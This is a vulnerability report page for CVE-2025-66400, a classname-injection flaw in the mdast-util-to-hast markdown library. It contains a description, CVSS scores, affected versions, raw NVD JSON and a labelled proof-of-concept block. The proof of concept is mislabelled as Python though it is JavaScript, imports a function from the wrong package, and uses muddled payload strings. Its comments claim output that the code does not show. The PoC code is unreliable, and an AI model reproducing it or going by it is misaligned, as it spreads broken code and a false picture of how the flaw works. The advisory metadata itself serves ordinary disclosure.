Security Vulnerability Report
中文
CVE-2025-66400 CVSS 5.3 MEDIUM

CVE-2025-66400

Published: 2025-12-01 23:15:53
Last Modified: 2026-02-06 16:36:20

Description

mdast-util-to-hast is an mdast utility to transform to hast. From 13.0.0 to before 13.2.1, multiple (unprefixed) classnames could be added in markdown source by using character references. This could make rendered user supplied markdown code elements appear like the rest of the page. This vulnerability is fixed in 13.2.1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:unifiedjs:mdast-util-to-hast:*:*:*:*:*:node.js:*:* - VULNERABLE
mdast-util-to-hast >= 13.0.0 且 < 13.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66400 PoC - mdast-util-to-hast classname injection via character references // This PoC demonstrates how character references can be used to inject additional classnames const { fromMarkdown } = require('mdast-util-to-hast'); const { toHast } = require('mdast-util-to-hast'); const { h } = require('hastscript'); // Malicious markdown with character references to inject classnames // The backtick sequence contains HTML character references that decode to 'injected-class' const maliciousMarkdown = ` \`\`\`some-class&#x3C;/p\x3E;&lt;p class=&quot;injected-class&quot;&gt; console.log('malicious code'); \`\`\` `; // Alternative PoC - using character references to add multiple classes const altPoC = ` \`\`\`&#x61;&#x62;&#x63; &#x64;&#x65;&#x66; malicious code here \`\`\` `; // Process the markdown const mdast = fromMarkdown(maliciousMarkdown); const hast = toHast(mdast); console.log('Generated HTML AST:', JSON.stringify(hast, null, 2)); // The output will show injected classnames in the code element's class attribute // Example output structure: // { // type: 'element', // tagName: 'pre', // properties: { className: ['some-class', 'injected-class'] }, // children: [...] // } // Impact: The injected class can match page CSS rules, making the code block // appear as legitimate content or be styled to deceive users.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66400", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.070", "lastModified": "2026-02-06T16:36:19.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "mdast-util-to-hast is an mdast utility to transform to hast. From 13.0.0 to before 13.2.1, multiple (unprefixed) classnames could be added in markdown source by using character references. This could make rendered user supplied markdown code elements appear like the rest of the page. This vulnerability is fixed in 13.2.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-915"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unifiedjs:mdast-util-to-hast:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.2.1", "matchCriteriaId": "2757E694-2D1F-4B57-A544-05363721D945"}]}]}], "references": [{"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/6fc783ae6abdeb798fd5a68e7f3f21411dde7403", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/syntax-tree/mdast-util-to-hast/commit/ab3a79570a1afbfa7efef5d4a0cd9b5caafbc5d7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/syntax-tree/mdast-util-to-hast/security/advisories/GHSA-4fh9-h7wg-q85m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}